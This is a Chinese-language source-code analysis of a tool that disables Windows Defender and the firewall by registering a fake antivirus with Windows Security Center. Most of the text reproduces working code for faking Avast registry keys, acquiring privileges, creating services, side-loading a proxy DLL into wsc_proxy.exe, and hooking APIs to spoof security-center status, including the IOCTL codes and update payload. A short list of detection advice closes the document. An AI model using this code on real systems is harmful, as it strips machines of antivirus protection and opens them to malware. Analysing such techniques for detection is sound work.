[源码分析]利用WSC服务注册假杀软组件以关闭windows defender
字数 1017 2025-08-22 18:37:22
利用WSC服务注册假杀软组件关闭Windows Defender技术分析
1. 技术原理概述
Windows系统有一个Windows Security Center (WSC)服务,当安装了微软认证的杀毒软件时,会调用一个未公开的接口来更新杀软组件状态,同时自动关闭Windows Defender。本技术通过逆向分析安全厂商软件(如AVAST的wsc_proxy.exe),获取了这个API的细节,实现了伪造杀软注册信息来禁用Defender的功能。
2. 核心组件分析
2.1 Loader主程序
Loader程序(main.cpp)主要完成以下功能:
-
命令行参数解析:
argparse::ArgumentParser program("no-defender-loader", "1.0.1"); program.add_argument("--disable").help("re-enable firewall/defender").flag(); program.add_argument("--firewall").help("disable the firewall").flag(); program.add_argument("--av").help("disable the defender").flag(); program.add_argument("--name").help("av name").default_value(std::string("github.com/es3n1n/no-defender")).nargs(1); program.parse_args(argc, argv); -
注册表设置:
在HKEY_LOCAL_MACHINE\SOFTWARE\Avast Software\Avast\properties下创建注册表项,设置ProgramFolder值为当前进程文件的父文件夹:void setup_registry() { auto reg = native::Registry(HKEY_LOCAL_MACHINE, "SOFTWARE"); reg = reg.create_key("Avast Software"); reg = reg.create_key("Avast"); (void)reg.create_key("properties"); const auto path = util::app_path().parent_path().wstring(); const bool status = reg.set_value(L"ProgramFolder", path.c_str(), path.length()); } -
权限提升:
获取SeLoadDriverPrivilege权限,允许加载驱动:if (!util::grant_privileges({L"SeLoadDriverPrivilege"})) { throw std::runtime_error("unable to acquire privileges"); }
2.2 服务管理模块
service_loader::Instance类负责管理Windows服务:
class Instance {
public:
using handle_t = std::unique_ptr<std::remove_pointer_t<SC_HANDLE>, decltype(&CloseServiceHandle)>;
Instance() : _handle(handle_t(OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS), &CloseServiceHandle)) {}
[[nodiscard]] std::expected<handle_t, error_t> create_and_start_um_service(
const std::string_view name,
const std::string_view display_name,
const std::string& path) {
// 创建并启动服务
SC_HANDLE result = CreateServiceA(_handle.get(), name.data(), display_name.data(),
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL, path.data(), nullptr, nullptr, nullptr, nullptr, nullptr);
// 启动服务
StartServiceA(result, 0, nullptr);
return handle_t(result, &CloseServiceHandle);
}
bool stop_and_delete_service(handle_t& service) {
SERVICE_STATUS status = {};
ControlService(service.get(), SERVICE_CONTROL_STOP, &status);
return static_cast<bool>(DeleteService(service.get()));
}
};
2.3 DLL侧加载技术
通过DLL劫持技术,在加载白文件wsc_proxy.exe时,替换其依赖的DLL:
-
DLL入口点:
BOOL __stdcall DllMain(HMODULE base, std::uint32_t call_reason, std::uintptr_t reserved) { if (call_reason != DLL_PROCESS_ATTACH) return TRUE; globals::powrprof_base = reinterpret_cast<std::uintptr_t>(LoadLibraryA("c:\\Windows\\System32\\powrprof.dll")); globals::init_ctx.deserialize(); hooks::setup(); return TRUE; } -
导出函数:
EXTERN_C __declspec(dllexport) NTSTATUS WINAPI CallNtPowerInformation( POWER_INFORMATION_LEVEL InformationLevel, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength) { static auto orig = reinterpret_cast<decltype(&CallNtPowerInformation)>( GetProcAddress(reinterpret_cast<HMODULE>(globals::powrprof_base), "CallNtPowerInformation")); return orig(InformationLevel, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength); }
3. Hook技术实现
使用MinHook框架对关键API进行挂钩:
3.1 Hook初始化
inline void setup() {
assert(MH_Initialize() == MH_OK);
assert(create_hook(::CreateFileW, hooked::CreateFileW, &original::CreateFileW) == MH_OK);
assert(create_hook(::DeviceIoControl, hooked::DeviceIoControl, &original::DeviceIoControl) == MH_OK);
assert(create_hook(::I_RpcBindingInqLocalClientPID, hooked::I_RpcBindingInqLocalClientPID, &original::I_RpcBindingInqLocalClientPID) == MH_OK);
assert(create_hook(::WaitForSingleObject, hooked::WaitForSingleObject, &original::WaitForSingleObject) == MH_OK);
assert(MH_EnableHook(MH_ALL_HOOKS) == MH_OK);
}
3.2 关键Hook点分析
-
CreateFileW Hook:
HANDLE WINAPI CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, ...) { auto file_path = std::wstring(lpFileName); std::ranges::transform(file_path.begin(), file_path.end(), file_path.begin(), [](wchar_t ch) { return static_cast<wchar_t>(std::tolower(static_cast<int>(ch))); }); if (file_path.find(L"asw") != std::wstring::npos) { static std::once_flag fl; std::call_once(fl, []() { globals::wsc_base = globals::detail::base(); MH_CreateHook(globals::ctx.proceed_queue, ProceedQueue, &original::ProceedQueue); MH_CreateHook(globals::ctx.proceed_item, ProcessItem, &original::ProcessItem); MH_EnableHook(nullptr); }); return reinterpret_cast<HANDLE>(1337); } return original::CreateFileW(lpFileName, dwDesiredAccess, ...); } -
ProceedQueue Hook:
std::uintptr_t ProceedQueue() { auto push_payload = [](shared::e_product product, const wchar_t* internal_name) { if ((globals::init_ctx.product & product) == shared::e_product::NONE) return; auto payload = std::format(L"/svc /update /{} /state:{} /signatures:up_to_date", internal_name, globals::init_ctx.state); globals::ctx.s_wscrpc_update(payload.data(), true); }; push_payload(shared::e_product::AV, L"av_as"); push_payload(shared::e_product::FIREWALL, L"firewall"); const auto result = reinterpret_cast<decltype(&ProceedQueue)>(original::ProceedQueue)(); std::exit(0); return result; } -
DeviceIoControl Hook:
BOOL WINAPI DeviceIoControl(HANDLE hDevice, DWORD dwIoControlCode, ...) { const auto ret = original::DeviceIoControl(hDevice, dwIoControlCode, ...); if (reinterpret_cast<uint64_t>(hDevice) != 1337) return ret; switch (dwIoControlCode) { case 0xB2D601C0: return TRUE; case 0xB2D600CC: *reinterpret_cast<int*>(lpOutBuffer) = 1; return TRUE; case 0xb2d60190: *reinterpret_cast<int*>(lpOutBuffer) = 1337; return TRUE; default: return ret; } }
4. 技术实现流程总结
- 创建必要的注册表项,伪装成已注册的杀毒软件
- 提升进程权限,获取加载驱动所需的特权
- 启动wsc_proxy.exe服务,通过DLL侧加载技术注入恶意DLL
- 在DLL中挂钩关键API,拦截安全中心通信
- 通过Hook修改安全中心状态更新,发送伪造的杀软状态信息
- 触发Windows Defender自动关闭机制
5. 防御建议
- 监控
HKEY_LOCAL_MACHINE\SOFTWARE下异常的安全软件注册表项 - 检测异常的服务创建行为,特别是与安全中心相关的服务
- 防范DLL侧加载攻击,检查非系统目录下的系统DLL
- 实施API Hook检测机制
- 保持Windows Defender防篡改保护开启
- 定期审计系统上安装的安全软件合法性